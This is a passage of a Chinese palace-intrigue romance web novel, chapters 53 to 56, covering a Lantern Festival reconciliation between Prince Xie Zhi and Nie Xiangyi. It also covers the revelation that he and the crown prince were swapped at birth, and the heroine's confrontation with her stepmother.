“那日被太子拦截,有人相救,想来就是她们。数日搜查,城中却不见人影,定是出了城。”谢知平静说道,“城门由神策卫把手,唯一出城的,只有得了父皇亲允的钟谦岳。” 也许林乔与钟谦岳达成了什么交易,亦或是钟谦岳看在曾有姻亲的份上,悄然带她出了城。 “是。” 凌竹躬身应道:“另外,这几日莫九频频出入东宫,亦像是在打探消息,有所禀报的样子。” “知道了。”谢知眉宇一敛,“加快速度。务必要在太子之前,活捉林乔。” 与此同时,莫九将打探来的消息一一告知太子。 “乳母?难怪啊。”谢承忻眸中似有深意,似笑非笑 ,“倒是个忠心的。” “她纠集当年林家旧部,占了晋王旧时铁矿,打着晋王余党的旗号行事,很是有几分谋算。” “贵妃还真是没用。”谢承忻轻嗤一声,眸中闪过狠戾之色,“这样的人,竟也能让她活着逃出宫去。” 莫九垂首不语。 “你去派人追查这林氏下落。”他嘴角的笑容带着阴戾的寒意,“如若遇见,就地格杀!” “是。” 如此,凌竹忙着追查林乔下落,而谢知又在小院中清闲呆了数日。 他身体强健,虽未曾喝药,十来日过去,这风寒也好了个大半。 聂相宜自那日以后,更是对他没个好脸色。只是这样故意板着脸的模样,不像是生气,倒像是……别扭。 “病好了就赶紧回去。”她将含絮熬好的粥搁在谢知面前,“我才不想见到你。” 谢知闻言眸色一黯,竟让聂相宜从他病气刚愈的脸上看出隐约的几分失落来。 “阿兕,明日就是上元节了。”他抬眸望着聂相宜,“让我再呆一日,可好?” 他的眼睛漆黑深邃,一贯清冷淡漠的人,说话竟带着难以察觉的祈求,倒让聂相宜不知该如何拒绝。 聂相宜转过头去,像是有些破罐子破摔,“随你!” 谢知轻扬了扬唇角。 清晨,噼里啪啦的鞭炮声响起,聂相宜从梦中惊醒。她看了看身边,空无一人,床榻冰凉一片。 这还是小半月来,她第一次没在谢知怀中醒来。人总是这样,在习惯之后的骤然改变,总会觉得失落。 谢知大概是走了。在受了她半个月的冷言冷语之后,他终于离开了。 她心中说不出是何滋味,只强打起笑容。是她叫他离开的,如今如愿,她应该开心才是。 她才不会失落呢! 谢知端着元宵进屋的时候,看见的聂相宜便是一副怔怔的神情,脸上的笑容比哭还难看。 “阿兕?” 谢知今日穿着一身绯色衣衫,这样艳丽的颜色在他身上却并不违和,倒不似从前冷厉,颇有几分公子风流的模样。 走马倚斜桥,满楼红袖招,这样明艳的反差几乎叫人移不开眼。 这般模样叫聂相宜看得失了神,结结巴巴了半天,才想起自己要说什么,“你!你怎么没走。” 谢知见她反应,微微抿了抿唇,压下嘴角扬起的轻微弧度。 “我去给阿兕做元宵了。”他将手中的元宵递至聂相宜的面前,“阿兕,要吃吗?” 聂相宜狐疑地看着他手中的元宵,那绯红的衣衫上似乎还隐约沾染着面粉的痕迹。 她觉得谢知一定是被鬼上身了。 穿这样明艳颜色的衣衫不说,还亲自在膳房做饭。要知道,君子远庖厨,谢知那双如玉的手,怎么可能做这些? “你亲手做的?” 谢知平静点头,“我想与阿兕过元宵。” 他衣着风流,神色却那样坚定。聂相宜心头像是漏了一拍,猛地一跳。 她板着脸转过头去,竭力扼制住心头雀跃地跳动,冷冰冰说道:“别以为是你亲手做的,我便一定要吃!” “嗯。”谢知轻声应道,“阿兕也可以将它倒掉。碾上两脚也可以。” 他将元宵送到聂相宜别过去的眼前,“阿兕想怎么对它都可以。” 他这话在聂相宜耳中,总像是揶揄。偏他神色一本正经,眼神真诚,仿佛并未说笑。 聂相宜像是败下阵来,自暴自弃地接下那碗元宵,气鼓鼓道:“我才不是你这种不识好心的人!” 谢知难得地露出一瞬的轻笑。 等到傍晚的时候,谢知最不愿意见到的裴珏竟出现在院门之前。 “阿兕妹妹。”他弯唇微笑一瞬,“今晚有上元节灯会,妹妹可要与我同去观赏?” 聂相宜还没说话,便听得身后谢知冷冷的声音回绝,“她没空。” 裴珏仿佛这才看见谢知,他上下打量谢知一眼,“三殿下今日这身打扮……倒是特别。” 谢知只是挡在聂相宜身前,“小裴大人没有自己的家人么?每每年节,总来找阿兕玩乐?” “我只是询问阿兕的意见罢了。”裴珏不卑不亢,目光落在聂相宜身上,“阿兕妹妹,你说呢?” “她没空。”谢知冷冷重复道。 裴珏微敛起笑容,“我想,今日没空的,应该是殿下。” 他话音刚落,便见凌竹匆匆而来,附在他耳边禀报,“殿下,人抓着了。只是被太子的人发现了。” 裴珏好整以暇地看着他。 谢知指尖紧紧蜷进袖中。他眸光有一瞬的犹豫。 他已经错过一次她的上元节了。她不想再错过第二次了。 然而凌竹却在他耳边催促,“太子的人像是要取其性命,如今已然僵持住了!” 谢知深深吸了一口气,目光定定地看向聂相宜,“阿兕,今晚戌时,我在城中灯会等你。” 他离去时与裴珏擦肩而过,而后他转身看了一眼聂相宜,沉沉眸色中几乎带着祈求。 “阿兕,我会等你。” 第54章 谢知几乎是以最快的速度,处理了这事。 神策卫是在城外抓到的将军。当他匆匆赶去时,莫九等太子暗卫已然与神策卫对峙多时。 将军身上受了不小的伤,一看便是冲着下死手去的。 “你们好大的胆子。”谢知冷眼扫过他们,“神策卫执行公务,尔等也胆敢阻拦?是皇兄给你们的吩咐?” 莫九不敢多言,只拱手道:“殿下息怒。太子殿下听闻晋王余孽下落,叫我们前来襄助神策卫捉拿,并无阻拦之意。” “此为神策司之事。皇兄下次若要拿人,通知神策卫便是。” 谢知垂眸,面无表情地看他一眼,平静的声音中带着不容置疑的气息,“至于你们几个,还是保护好皇兄安危为宜。” 他命人带走将军,又嘱咐凌竹,“将人送去神策司监牢,命神策卫严加看管,任何人不许靠近。包括太子。” “是。”凌竹面色有些犹豫,“只是……看这个样子,太子对她的杀心颇重。殿下若是不在,只怕是防不住有人暗中下手……” 谢知眸色微动,又像是想起了什么,“去请小裴大人来。若出了岔子,拿他是问。” 说着他便翻身上马,正欲离去。 “小子。”将军忽然开口叫住了他。她的语气算不得恭敬,仿佛只是再叫一个寻常的邻家晚辈。 谢知于马上居高临下地看着她,这个五十多岁的妇人面颊满是岁月的风霜痕迹,眼神却异常矍铄。 纵使身上的伤口还在流血,她也未曾佝偻半分。只是不卑不亢仰头看着谢知,神情似笑非笑。 “你知道太子为什么要我非死不可吗?” 她的话让谢知愈发笃定,她一定藏着什么不可告人的秘密。 谢知抬眸望了一眼暗下来的天色,“我现在没空知道。” 当他赶到城中灯会时,刚好戌时。人潮涌动,或羞涩或活泼的少年少女自他身边擦肩而过,无数盏明亮的花灯晃得他眼乱。 花市灯如昼,他从未见过这样的上元节。 每年灯会,他都漠然地站在城楼之上,如一尊无喜无悲的泥像,高高在上地俯视着这一切。 他看着身旁的人,忍不住想起当日聂相宜遇见谢承忻时,是否也是这样,在这无比美好的光影之下,红着脸递给他那张白玉面具。 一想到此,他便嫉妒得要命。 “公子在等人吗?要不要买盏花灯?”有小摊贩热络地上前,“什么样式的都有,姑娘们最是喜欢了!” “不要。”谢知拒绝得果断。 他不想送谢承忻已经送过的东西。这样让他愈发有一切都是从谢承忻那里偷来的错觉。 只是当他的目光流连过琳琅满目的花灯,最终凝在一盏天宫花灯之上,“等等。” 他叫住小贩,“除了这盏,其他的都留下。” 他手中握着一盏栩栩如生的狸奴花灯,目光在人群中寻找聂相宜的身影,却始终未曾见她出现。 他的心一点点沉寂了下去。 万盏灯火照不明他晦暗的眸色,他想,她也许应邀裴珏了,也许不愿再来了。 总之,他又错过了一次上元节。 他其实可以重回流云观,拉着聂相宜过来。只是不知为何,他仍在这里等待。 他在赌,赌她的心软,赌她愿意主动前来呢。 他脑中突然想起,当日庙会烟火绽放之时,聂相宜是否是以同样的心情,等待着他。 满心失落,却又忍不住期待。期盼着一个万一她会出现的可能。 当灯火一盏盏熄灭,人潮逐渐散去,谢知一身绯色衣衫,在人群中逐渐变成了一个落寞的光点。 “公子,你等的人还来吗?” 谢知抿唇,“也许……不会了罢。” “那您还在等什么?” 手中的狸奴花灯逐渐暗淡,谢知垂眸,默然看着那盏花灯在他手中微微晃动起来。 也许是错觉,再度抬眸之时,他在影影绰绰的城郭轮廓之中,看见了聂相宜朝他而来的身影。 银狐围脖拢住她小小的脸蛋,周围的花灯将她映照得如神妃仙子,熠熠生辉。 “烦死了!我才不想来的!” 她瘪着嘴,对上谢知浓黑如墨的眸色,转过脸去,像是不情愿地嘟哝。 谢知的心却无法抑制地剧烈跳动起来。她终于还是来了。 他忽地伸手,紧紧拥住了她,将她嘟嘟囔囔的小动静一应埋进胸口。 聂相宜被他突如其来的动作惊得瞪大了眼睛。她靠在他的胸膛,依稀能听到他心口传来的跳动声音。 周围的喧闹仿佛就此安静下来。 他清润的声音带着丝丝沉闷,在她耳边说道:“抱歉。” 抱歉让你等了我这么久,抱歉从前没能先认识你。 聂相宜不知他道歉,脸颊骤然火烧火燎起来。她推拒着谢知的胸膛,“谢知!你发什么疯!” 谢知像是贪恋似的嗅着独属于她的栀子清香,良久才缓缓将她放开。 他将手中的花灯递给了她。 小猫扑蝶的姿态活灵活现,极是生动可爱。聂相宜接过花灯,撅着嘴说道:“也就一般,我才没有很喜欢呢!” 因人潮散去而逐渐黯淡的花灯忽地亮起,整条长街亮如白昼,宛如天空倒影,星辰在此点点闪烁。 再没有比这夜更璀璨的夜空。 聂相宜被这般美景看得几乎呆住,忽明忽暗的灯火映照在她的面颊,忽有滚烫的热气在她耳边拂过。 “现在喜欢吗?” 她像是被定住一般,浑身忽地一麻,几乎不敢抬头看谢知那双深沉的眼。 她有些狼狈地别过脸去,只梗着脖子说道:“我可没有回礼给你!” 谢知只抿着唇微微轻笑,“阿兕的礼物,已经给我了。” 聂相宜有些不解,而谢知只是在灯火下定定地看着她。 她今日能来,大概已经是意外之喜了。 午夜的更漏在此刻响起,天空忽地升起一盏孔明灯,而后两盏、三盏,数不清的孔明灯高高低低地飘向漆黑的夜空,星火璀璨,天地一色。 “阿兕,许个愿吧。”不知何时,谢知手中亦拿出一盏孔明灯,放在她的面前。 灯火将二人的视线分割,她看不清对面谢知的表情,只是她看得出他的用心。 她心头微微一动,忽觉鼻尖发酸。 她想起四年前送错的那张白玉面具,好像所有的遗憾在此刻尽数消弭。这也许是她过得最难忘的一个上元节。 她想,她不怨谢知了。 哪怕他是为了钟家兵权,哪怕他隐瞒自己许多东西,有这样一个瞬间,她似乎都怨不起来了。 她抬头望着逐渐升空的孔明灯,轻声说道:“谢知,你去找舅父吧,他会帮你的。” 从此桥归桥,路归路,谢知不用再为了钟家兵权,做这些了。 她并未看谢知,声音缥缈,一如那缓缓升空的孔明灯。 谢知脸色却忽地微变,“阿兕,你什么意思?” 聂相宜的语气中带着一丝失落,又带着释然,“我说,你可以不用再讨好我了。我会修书一封,劝舅父帮你。” 谢知眸色骤然变得冷厉。他逼近聂相宜,伸手握住她的手腕,眼中的光几乎要将她吞吃。 “聂相宜,我做的这些,在你眼中竟是别有目的的讨好吗!” 他病体初愈,声音低哑,带着心绪难平的质问,连眼尾都泛起珊瑚的红色。 聂相宜语气一滞。她像是有些不敢看他的眼睛,只垂眸盯着自己的鞋尖,低声说道:“不是么?” 像是在反问谢知,又像是在反问自己。 谢知像是怒极反笑,胸膛剧烈地起伏,“真不知是你蠢还是我蠢。” “你!”听他这话,聂相宜刚想抬头反驳,却撞入他黑沉沉的眼眸,一时间竟望了自己要说些什么。 “聂相宜,你把我当成了什么?”他低压着眉宇,“朝堂的助力并不仅在姻亲之上。” “可他们都这么说!”聂相宜抬头望着他,忽地眼眶通红,“我不懂朝堂,却也知道姻亲便是最大的助力!殿下若觉得我蠢,不妨再与我说得明白些!” 谢知像是有些无奈,只无声的轻叹。他伸手轻柔抚过聂相宜眼角,那里有未曾落下的泪痕。 许多事情其实不便与她明说的,只是他知道她如今心结在哪,只能轻声说道:“即便没有你,钟家也会帮我。” 聂相宜怔怔看着他。 “你会帮你的仇人吗?” 她不知他为何说这个,懵然地摇了摇头。 “钟家也是如此。”谢知说道,“太子害死你外祖,钟谦岳怎么可能还会帮他呢?” 聂相宜似乎这才反应过来,“所以,舅父只会选择帮你?” 谢知这才无奈地点点头。 他看着聂相宜,眸色被漫天灯火照得耀人,“阿兕,我做这些,不是因为你跟钟家的关系,也不是因为其他,只因为是你。你明白吗?” 聂相宜心中忽地跳动起欢喜的雀跃,因他这简单的一句,便变得突如其来的欣喜。 只是她仍旧不安,仍旧不敢相信,“我不太明白……” 她的声音低低的,像是一只失落的小猫,“说厌我的也是你,如今说这些话的也是你。我怎么分得清,哪句真哪句假呢?” 委屈的声音话音刚落,便被谢知疾风骤雨般的吻堵了回去。 阔别已久的吻几乎让人喘不过气,连呼吸都被谢知尽数吞下。聂相宜只觉舌根发麻,连全身都跟着软了下来。 她呜呜地出声让谢知放开她,他却愈发用力。舌尖扫过她唇腔每一个角落,交缠之间仿佛要留下独属于他的痕迹。 不知过了多久,谢知这才放开了她。他俯身看着她,距离相隔极近,声音带着略微沙哑的低沉。 “当初烟花下,你主动吻我的时候,讨厌我吗?” 缺氧的错觉让聂相宜连头脑都发懵,耳朵早已染上绯红的颜色,她只呆呆地摇了摇头。 谢知再次在她唇上落下一个轻轻的吻,转瞬即逝,“那么我也一样。” 第55章 当一切的灯火归于黯淡之时,聂相宜仍有些身处梦境的不真实感。 谢知也是喜欢她的吗?她仍旧有些不敢置信,是从什么时候开始的呢? 她脑中像是熬开的粥,冒着滚烫的热气儿,咕嘟咕嘟地翻滚着,只懵然任由谢知牵着她的手离开。 直到马车外熟悉的景致引入眼帘,她这才呆愣愣地回过神来,“怎么是这条路。” 这是回谢知府邸的路。 谢知神情自若,“天色太晚,马车不便前往流云观。” “可我……”她心中仍有说不出的不安。 历经不幸之后得来的幸福,总似偷窃般不真实。 聂相宜依稀觉得,自己好像又变成了那个失去母亲后,做什么都畏畏缩缩的她。 即使谢知已经告诉过她,他此刻对她的喜欢,她也会忍不住去想,那当初娶她的时候呢?又是因为什么? 还有母亲的死,外祖的死,横亘在她们之中的,仅仅只有喜欢二字吗? 思绪千回百转之间,马车已经到了府 邸门口。聂相宜仰头望着谢知,眸中带着迷茫的不安,“殿下……我想自己想想……” 她转头朝自己的别院走去,关门的时候像是某种回避的逃离。 谢知能察觉到她的不安。 她像是一只被抛弃了好几次的小猫,在数次的失去中早已没了安全感。 她需要耐心地娇养,需要直白的、确切的爱意,才会小心翼翼的伸出爪子,重新露出从前那般耀武扬威的神气。 更何况,他不能再让她多想了。不然,又不知道她会想歪到哪里去。 夜色深沉,他看了一眼紧闭的院门,又抬眸望向高高的院墙,抿了抿唇。 聂相宜烦恼的事情,她自己也想不明白。只是一闭眼,却总能想到今日花灯摇曳,万盏灯火于星空点亮,谢知在那明亮火光中,对她说的话。 她不知自己会和谢知走向何种结局,却知那心头的悸动是抑制不住的。 “谁?” 她正欲推开房门,却忽而听见房内有细微的动静。经历过前番数次事端,她心中生出警觉,迟疑着不敢上前。 漆黑的屋内逐渐亮起灯火,门吱呀一声被忽地拉开。 夜风乍然往屋内扑去,拂得烛火忽明忽暗地跳动了一瞬,聂相宜这才看清来人。 “殿下?”她瞪大了眼睛,“你!你怎么……” 她本是欲问谢知为何会在这儿,话都到了舌头尖却结结巴巴地转了个弯顿住。 她看着谢知的模样,几乎移不开眼般地愣着。 只见谢知虽仍旧穿着今日那身绯色衣衫,胸前的衣襟却略松开些许,若隐若现露出其下紧实的肌肉。像是正欲歇下般,是聂相宜从未见过的慵懒。 谢知平日最是克己复礼,正冠纳履,一丝不苟。何曾将衣物穿得这般风流随性过。 闪烁的灯火为他添上一道模糊的光晕,倒真像是高高在上的神祗,一步一步朝她走下神坛。 谢知半眯着眼,眼尾微微上扬,似笑非笑地看着她,“我怎么了?” 这般模样让聂相宜脑中轰地一片,好似被烟花炸过般,什么也想不出来,结巴了半天,这才说道:“你……你……你怎么在这里?” 谢知俯身靠近她,那张俊逸无双的脸放大在她的面前,几乎让她忘了呼吸。 清润的声音带着几不可察的调侃轻笑,“许你翻院墙,就不许我翻?” 薄唇在聂相宜面前一张一合,她却仿佛一个字也未曾听进,心跳声在此刻震耳欲聋。 她微一踮脚,鬼使神差地,在谢知唇边落下轻轻一吻。 这夜忽有春风吹来。 交颈相贴之间,谢知的指尖从她发间拂过。他一点点吻去她眼角溢出的泪,声音温柔而沙哑。 “阿兕,安心些。我会给你一个交代。” 此刻的东宫,谢承忻面色阴沉得几欲杀人。 “一群没用的东西,竟让人落到了谢知手中!” 多年前的惶恐在此刻卷土重来,他不敢想象当那个秘密公之于众,会引起怎样的轩然大波。而他,必定会失去一切。 他不能坐以待毙。 “去请贵妃来一趟东宫。”他冷着脸,“就说我咳疾犯了。” 半个时辰之后,贵妃匆匆赶来,神色带着担忧,“玉汝可还安好?你这咳疾最易复发!怎得连太医也不曾通传?” 谢承忻只是一个眼神,摒退了闲杂人等,独留二人在殿中。 “玉汝这是……”贵妃面带疑惑。 而谢承忻只是勾唇冷冷一笑,“你说,我该唤你贵妃娘娘,还是唤你一声母妃?” 贵妃瞳孔骤然紧缩。 谢承忻甚少以母妃的称呼唤她。大多时候,他都保持着一个太子应有的高高在上,不咸不淡地唤她一句贵妃娘娘。 她惊恐地看着谢承忻,“你……玉汝……你都知道了什么?” “偷天换日,李代桃僵。”谢承忻嗤笑一声,“母妃,温成皇后与你同日所生的孩子,其实是谢知吧。” 贵妃像是被人死死扼住了呼吸。 心中隐藏多年的秘密终于被撕开一角,贵妃像是脱力般重重跌坐在身后的交椅之上。 良久,她缓缓吐出一口浊气,只微颤抖着声音问他,“你是什么时候知道的。” “在你们商量要弄死文安夫人的时候。” 贵妃甚至不敢置信,“那时你才八岁!” 她不敢想象,八岁的他在知道了这个秘密后,居然能隐忍至今,连向她的询问都不曾有过。只是依旧漠然地将她当作一个养母,一言不发。 心机深沉,可见一斑。 只是她又忍不住地心疼起来,尚且年幼的他在知道这个秘密之后,是以怎样的心情,才走到今日的啊。 她喉头哽咽起来,“玉汝……我都是为了你好……” “我不在乎你究竟是为了我好,还是出于对温成皇后的不甘心。” 谢承忻像毒蛇一般阴冷的眼神让她几乎忍不住打了一个寒颤,“既然料理了文安夫人,母妃怎得不知道将事情做得再干净些?” 贵妃握在交椅上的手一点点收紧,“玉汝,你什么意思?” “林乔,母妃还记得吗?” “她还活着?”贵妃猛地抬起头,瞪大的眼中露出难明的惊恐。她喃喃自语,语气有说不出的后悔与恨意,“当初只有她逃出了宫外!只有她!这些年我也曾派人追杀于她,可始终寻不到她的踪迹!她居然还活着!” 谢承忻对上她的视线,眸色晦暗,一字一顿地说道:“不止活着。还落到了谢知的手中。” 贵妃的心一点点沉了下去。 她只要一想到真相戳破后面临的后果,就连牙齿也忍不住轻颤起来。 “母妃也不想这么多年的心血付诸东流吧。” 谢承忻的话让她像是抓住了救命稻草,她目不转睛地看着谢承忻,“你有办法?” “只要这个秘密,在我顺利继承大统之前,不被暴露出来,不就好了么?” “可谢知已经抓到了林乔,还瞒得了几时?”贵妃还想说些什么,对上谢承忻似笑非笑的神情,她像是转瞬明白过来,骤然瞪大了眼,“你不会是想……” 谢承忻并未否认,“母妃,釜底抽薪,是我们最后的退路了。” “你疯了!这可是谋逆犯上的大罪!” “母妃当年偷天换日的时候,就该想到有这个时候了。”谢承忻嘴角阴郁的轻笑带着鬼气。 “是想成为阶下囚,还是想被我尊称一声母后,您自己选。” 晨起,聂相宜睁眼醒来的时候,谢知刚端着粥从外头进来。 他将睡眼惺忪的聂相宜扶起来,用锦被将她裹得严严实实的,像是一座小山,只露出巴掌大的小脸来,迷迷瞪瞪地看着谢知。 “我还想睡会。” 她仍觉得累,连眼睛也只半睁着,声音像是带着鼻音,嘟嘟囔囔地不清楚。 谢知将粥喂到她的嘴边,“吃完了再睡。昨夜你便嚷着又累又饿了。” 若是清醒着,聂相宜必定会惊讶清冷矜贵的谢知也有这般服侍人的一天,耐心温柔,连声音也带着轻哄。 只是她眼下实在是又累又困,吃了几口粥,便又倒头接着睡下。 隐约之间,她听见谢知的声音,“我今日有事,要去神策司,大约晚上回来。等会若是睡醒了,阿兕便回去吧。回去看看西施。” 他俯身亲了亲她的唇角,“他真的很想你。” 谢知赶到神策司的时候,裴珏在此守了一夜。为了防止太子的人对其下手,他在此几乎整夜不曾阖眼。 支持谢知,是整个裴家的选择。 在明眼人眼中,这是一个愚蠢的决定。毕竟太子是故皇后嫡子,又得皇帝宠爱。 可裴珏与谢知共事数年,明白他其实比太子更适合做一个君主。 这大概也是为什么祖父会选择他的原因。 “殿下。” 他抬眸看着谢知进入监牢,他今日仍如平日里般面无表情,却总能隐约让人察觉到,他似乎心情不错。 裴珏想 ,大概是她赴约了。 他甚至在想,若是自己再晚几年认识她,一切会不会不一样。 阴差阳错,可总有人是刚刚好。 谢知嗯了一声,只平淡问道:“昨夜可有审问出什么东西来?” “不曾。”裴珏摇头,“她什么也不说,只说要等殿下来。” 监牢里的女子蜷缩在草席中,闭着眼睛似是熟睡。谢知看了她一眼,正欲命人将她叫醒,却不想宫中忽然来了皇帝的近身太监。 “皇上听说三殿下将晋王余孽首领捉拿,欣喜万分。命殿下务必要将此子枭首示众,杀鸡儆猴,威慑众人。” 谢知眸色一沉,只点头称是。 命人将太监送走之后,监牢里的妇人缓缓掀开眼皮,只面无表情地看着谢知,“小子,留我一命。” 她的声音带着水米未进的沙哑,却并无求饶的哀戚语气,仿佛只是说着一件寻常小事。 “你有大用。”—— 作者有话说:小谢为了going老婆使尽了手段[狗头]魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 55-60 第56章 “理由。”谢知对上她那双饱经沧桑却异常坚定的双眼,平静地说道。 “你知道我是谁吗?” “林乔。” “你果然知道。”她听到这个名字,突然轻笑了起来,“那你知不知道,太子为何非置我于死地不可吗?” 谢知知她所言必定涉及当年宫闱旧事,目光不由落在一旁的裴珏身上。裴珏似是会意,本欲离去,却不想林乔却开口留住了他。 “这位大人还是留下罢。否则今日我所之言,由他口出,无人会信。” 裴珏看了谢知一眼,在他点头之后,只在一旁坐下,用笔记录。 只是他没想到的是,林乔开口的第一句话,便几乎让他握不稳笔。 “谢知,你才是真正的太子。” 谢知瞳孔骤然紧缩。 这句话的含义太重,几乎不敢让人往深处去想。电光石火之间,他几乎已然明晰了一切。 太子为何会体弱!母妃为何会偏心!她们又为何会频频对贵妃与太子出手! 原来如此!竟是如此! 一滴浓黑的墨滴落纸面,洇开一大片阴影,遮盖了裴珏笔下的字迹。他这才从震惊中回过神来,不由得换了纸张重新书写。 “当年温成皇后所生的大皇子死在晋王手上,而后皇上登基,贵妃为了先于温成皇后生下长子,怀胎八月便用了催产药,最终仍是未能如愿,只与皇后同一天产子。” 林乔的脸上露出痛恨之色,“白奚那个贱人!她一早便收买了稳婆,在故皇后产子虚弱之际下毒,佯做难产害死了她!而后又向皇上陈情,一同抚育两个孩子,这才有机会将你们换了身份!” “你是怎么知道的?” “亲眼所见,还能有假?”林乔冷笑一声,“自此之后,她便以照顾不力为由,将所有的人全部灭口。若非我及时逃出宫中,只怕真相永埋地底!” 真相被一点点撕开,谢知心中却并无一点得知真相后的狂喜。 他只是漠然地看着林乔,如同每一次例行公事的询问,“这件事,除了你还有其他人知道吗?” “当年所有知情的人都已被白奚灭口。剩下的都是我的部下,从我口中得知。” 谢知听她说起部下,便问她,“他们都是些什么人?” “当年林家旧部。”林乔神情感慨,“林家在战场上死的死伤的伤,只剩下这些人了,我亦是花了许多年,才将他们聚集。” 她说到这里,即使是谢知,也难免对她生出敬佩之意。 一个年过半百女子,坚持数年,不知经历过多少白眼,苦心过多少次的游说,才纠集出这样一支训练有素的队伍。 “难怪这这几年早已销声匿迹的晋王余孽又死灰复燃,原来是你们扯的幌子。” 林乔脸上露出轻蔑之意,“晋王剩下来的那些人,不过是群乌合之众,三两句便能将其收编。” “你倒是厉害。” “我不过是老婆子一个。”林乔冷冷一笑,眼中骤然迸发出恨意,“只不过,挽月是我看着长大的!我就是豁出这条命去,也要为她报仇!” 一旁的裴珏却似有些顾虑,“你虽为人证,可有物证加以佐证。否则,时隔多年,只怕皇上不会轻信。” “这便是你们的事了。我能做的,只有这些。”林乔摇头,冷眼看着谢知,“当初本想杀了太子一了百了,不曾想谢知你个蠢货竟替他挡了下来!否则哪有今日这般麻烦!” 谢知抿唇看着她。 她如今顶着晋王余孽的身份,无论是说什么只怕都不会有人信,还会让皇帝迁怒旧日林家,疑心她们与晋王有染。 他只看着裴珏,“小裴大人,兹事体大,还需从长计议。” 裴珏神情严肃地微微颔首,“我知道。” 谢知回到府邸的时候,已是傍晚时分。不知是否听到了他早上的絮语,聂相宜回到了宅院,正拿着一只羽毛逗弄西施。 他看着夕阳下那张姣好的容颜,仿佛这才因林乔的话生出一点实感。 他心中生出一点失而复得的窃喜,原来她本就是他的。有指腹为婚约定的,其实是他们。 缘分天定,即使谢承忻与她在上元节一见如故又如何?她合该是他的妻。 “阿兕。”他轻声唤道。 聂相宜正与西施玩得开心,被他叫住,只抬起头疑惑看他,“什么事?” “无事。”谢知伸手拂过她的发间,忽觉一切都这样美好。 他抿唇轻笑,这瞬如同冰雪消融,波色乍明,极是生动。聂相宜伸出指尖,好奇地戳了戳他的唇角,“殿下看起来似乎很开心。” 谢知却握住她的手,在她指尖留下轻轻一吻,“嗯,我很开心。” 开心我们缘分早已注定,比任何人都要早,开心这命运阴差阳错,哪怕是你认错了人,最终还是我娶到了你。 那双漂亮的眼睛此刻如同春日里波光粼粼的水面,定定地看着她,突如其来的缱绻动作让聂相宜不觉脸颊发烫,“你……” 怎得今日与平日里这般不同? 谢知却忽地问她,声音轻柔却坚定,“阿兕,你想报仇吗?” 聂相宜忽地一怔。 未出正月,在皇帝的授意下,晋王余孽于菜市场斩首示众。与此同时,谢知带回来一个面容带疤的老嬷嬷。 “挽月曾经的旧居,这地方我比你熟悉。”她有些惊讶,“贵妃竟把这地方给了你?” 说着,她像是想明白过来,“大概是她操持六宫,顾不上这些宫外的产业,便随便指了一处给你。倒合了你们母子缘分了。” 她不明不白地轻笑了一声,“你看,你的终究是你的。” 谢知听着这句话,目光却落在聂相宜身上,“阿兕,以后由她照顾你的生活起居。” 谢知说,叫她乔姑姑就可以。 聂相宜总觉这乔姑姑有几分熟悉,却想不起来在哪里见过她。 她以为这乔姑姑又像是乌姑姑一样来教她规矩的,不曾想这老姑姑上房爬树比她还利索,带着她玩得不亦乐乎。 这样的日子,倒叫她想起从前与外祖在一起的时光了。她瘪了瘪嘴,“我想外祖了。” 乔姑姑看着她的模样,伸出手揉了揉她的脑袋,“那你也可以叫我姑奶奶。” 与晋王余孽一起被查的,还有当年未查清的晋王旧党。皇帝这次似乎是铁了心要将其斩草除根,许多旧事重提,神策卫的黑甲走到哪里,哪里都是人心惶惶。 江云娥便是在这样的日子里找上门来的。 “三皇子夫人还睡着,请夫人稍等片刻。”乔姑姑面无表情地斟上一杯茶,递给江云娥。 只是江云娥一直等到茶水放凉,也不见聂相宜出来。 眼下早已是正午时分,她只想是聂相宜拿乔,心下着急,又见这姑姑不苟言笑,不由含了笑试探。 “这个时辰了,相宜身为主母竟还懒床,是我这个做母亲的不是,未曾教好她规矩。”她觑了一眼乔姑姑的神色,“姑姑若是得空,还是多提点她些,以免惹了殿下厌烦呢。” 乔姑姑冷飚飚看她一眼,“夫人若是再僭越胡说,我便要行府规,掌夫人的嘴了。” 她声音不咸不淡,却骇了江云娥一跳。一个嬷嬷罢了,也敢这般蹬鼻子上脸。 “你!”她刚要出声斥责,却见聂相宜姗姗来迟。 许久不见,容色鲜妍的少女愈发明艳,野性难驯的神态中还带着几丝骄矜之气。 她发髻歪歪地斜着,犹自带着晨起的慵懒。进入屋后却并未看她,只是扶鬓看着乔姑姑,声音像是带着撒娇。 “殿下梳的发髻,真是丑死了。”她瘪着嘴像是抱怨,“他手笨得很。” 乔姑姑微笑了笑,“难得有殿下不会的东西。” 两人你一句我一句,倒视作江云娥于无物。 江云娥终究是忍不住开了口,“相宜……” 虽是长辈,只是如今她有求于人,难免语气低微了许多,“我今日来,是有事想求你。” 聂相宜并不搭茬,只抬眉看她一眼,眼神轻蔑地像是在看一个物件。 江云娥心中生恼,却也只能硬着头皮干笑,“今日晋王余孽风波又起……你也知道的,我父亲当年不过是晋王手下一个芝麻小官,本不碍事的。你看你能否……跟三殿下提一提这事……” 聂相宜自是知道她所言不假。 她的家世本与晋王扯不上多大的关系,否则在当年最初的清洗之中,便早已没了性命。 只是这关系说进不进,说远却也不远。皇上忌讳晋王,但凡沾上这两个字,便没有好的下场。 当年她家获罪,父亲竟也敢甘冒不韪将人私藏在府中。待得母亲死后,风声过去,更是敢将其扶为正室。 不是上赶着给人送把柄么。 “好啊。”聂相宜忽地扬唇一笑,笑容明艳而张扬。 在江云娥放松的笑意之后,她忽地恶劣出声,“那我便给殿下说说,好好治治你的罪。” 江云娥的笑容陡然凝固在脸上。 “相宜!”她变了脸色,“你纵使再讨厌我,也得考虑聂家吧!一个不慎,便是牵连满门啊!” “聂家?”聂相宜嗤地冷笑,“我受尽磋磨是在聂家,受尽流言也是在聂家。就连我母亲,也是死在聂家。江云娥,你害死我母亲,怎么还有脸来求我?” 江云娥看着她的神色,不由心头一跳,手上的茶盏骤然打翻。 “你……你……”她惊恐地瞪大了眼睛,“你居然都知道了?” 她像是忽地慌了神,下意识拉住聂相宜的衣袖,“不!相宜!你听我说!并非我的主意啊!其实都是……” “我都知道。”聂相宜忽地打断了她。她目光冷冷地看着神情慌乱的江云娥,“不管其他人如何,但我要你先死。” 话毕,乔姑姑伸手请她离开。 被家丁拉出去的时候,她仍在无语轮次地叫喊着,“聂相宜!你以为只有我吗!侯爷明明也默许了!凭什么只有我!” 她的声音渐行渐远,聂相宜的目光却露出些茫然的空洞来,“原来他知道……” 在“将军”的斩首之后,旧案重差,神策卫雷厉风行地揪出与当年晋王有关的人,推赴刑场,其中便包括永宜侯府。 